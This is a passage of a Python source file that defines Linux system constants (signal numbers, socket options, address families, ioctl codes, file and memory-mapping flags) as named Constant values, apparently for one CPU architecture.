= Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',128) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGEMT = Constant('SIGEMT',7) SIGBUS = Constant('SIGBUS',10) SIGSYS = Constant('SIGSYS',12) SIGUSR1 = Constant('SIGUSR1',16) SIGUSR2 = Constant('SIGUSR2',17) SIGCHLD = Constant('SIGCHLD',18) SIGPWR = Constant('SIGPWR',19) SIGWINCH = Constant('SIGWINCH',20) SIGURG = Constant('SIGURG',21) SIGIO = Constant('SIGIO',22) SIGSTOP = Constant('SIGSTOP',23) SIGTSTP = Constant('SIGTSTP',24) SIGCONT = Constant('SIGCONT',25) SIGTTIN = Constant('SIGTTIN',26) SIGTTOU = Constant('SIGTTOU',27) SIGVTALRM = Constant('SIGVTALRM',28) SIGPROF = Constant('SIGPROF',29) SIGXCPU = Constant('SIGXCPU',30) SIGXFSZ = Constant('SIGXFSZ',31) SIGCLD = Constant('SIGCLD',18) SIGPOLL = Constant('SIGPOLL',22) SIGLOST = Constant('SIGLOST',19) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(128-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_SIGINFO = Constant('SA_SIGINFO',0x00000008) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00010000) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',1) SIG_UNBLOCK = Constant('SIG_UNBLOCK',2) SIG_SETMASK = Constant('SIG_SETMASK',3) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',0xffff) SO_DEBUG = Constant('SO_DEBUG',0x0001) SO_REUSEADDR = Constant('SO_REUSEADDR',0x0004) SO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008) SO_DONTROUTE = Constant('SO_DONTROUTE',0x0010) SO_BROADCAST = Constant('SO_BROADCAST',0x0020) SO_LINGER = Constant('SO_LINGER',0x0080) SO_OOBINLINE = Constant('SO_OOBINLINE',0x0100) SO_REUSEPORT = Constant('SO_REUSEPORT',0x0200) SO_TYPE = Constant('SO_TYPE',0x1008) SO_ERROR = Constant('SO_ERROR',0x1007) SO_SNDBUF = Constant('SO_SNDBUF',0x1001) SO_RCVBUF = Constant('SO_RCVBUF',0x1002) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_PASSCRED = Constant('SO_PASSCRED',17) SO_PEERCRED = Constant('SO_PEERCRED',18) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_PEERSEC = Constant('SO_PEERSEC',30) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',31) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1004) SO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1003) SO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1006) SO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1005) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x1009) SO_PROTOCOL = Constant('SO_PROTOCOL',0x1028) SO_DOMAIN = Constant('SO_DOMAIN',0x1029) SO_STYLE = Constant('SO_STYLE',0x1008) SOCK_DGRAM = Constant('SOCK_DGRAM',1) SOCK_STREAM = Constant('SOCK_STREAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_ACCMODE = Constant('O_ACCMODE',0x0003) O_RDONLY = Constant('O_RDONLY',0x0000) O_WRONLY = Constant('O_WRONLY',0x0001) O_RDWR = Constant('O_RDWR',0x0002) O_APPEND = Constant('O_APPEND',0x0008) O_DSYNC = Constant('O_DSYNC',0x0010) O_NONBLOCK = Constant('O_NONBLOCK',0x0080) O_CREAT = Constant('O_CREAT',0x0100) O_TRUNC = Constant('O_TRUNC',0x0200) O_EXCL = Constant('O_EXCL',0x0400) O_NOCTTY = Constant('O_NOCTTY',0x0800) FASYNC = Constant('FASYNC',0x1000) O_LARGEFILE = Constant('O_LARGEFILE',0) O_SYNC = Constant('O_SYNC',(0x4000|0x0010)) O_DIRECT = Constant('O_DIRECT',0x8000) O_DIRECTORY = Constant('O_DIRECTORY',0x10000) O_NOFOLLOW = Constant('O_NOFOLLOW',0x20000) O_NOATIME = Constant('O_NOATIME',0x40000) O_CLOEXEC = Constant('O_CLOEXEC',0x80000) O_PATH = Constant('O_PATH',0o10000000) __O_TMPFILE = Constant('__O_TMPFILE',0o20000000) O_NDELAY = Constant('O_NDELAY',0x0080) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETLK = Constant('F_GETLK',14) F_SETLK = Constant('F_SETLK',6) F_SETLKW = Constant('F_SETLKW',7) F_SETOWN = Constant('F_SETOWN',24) F_GETOWN = Constant('F_GETOWN',23) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',0) F_WRLCK = Constant('F_WRLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_EXLCK = Constant('F_EXLCK',4) F_SHLCK = Constant('F_SHLCK',8) F_INPROGRESS = Constant('F_INPROGRESS',16) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0x10000)) O_ASYNC = Constant('O_ASYNC',0x1000) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x010) MAP_NORESERVE = Constant('MAP_NORESERVE',0x0400) MAP_ANONYMOUS = 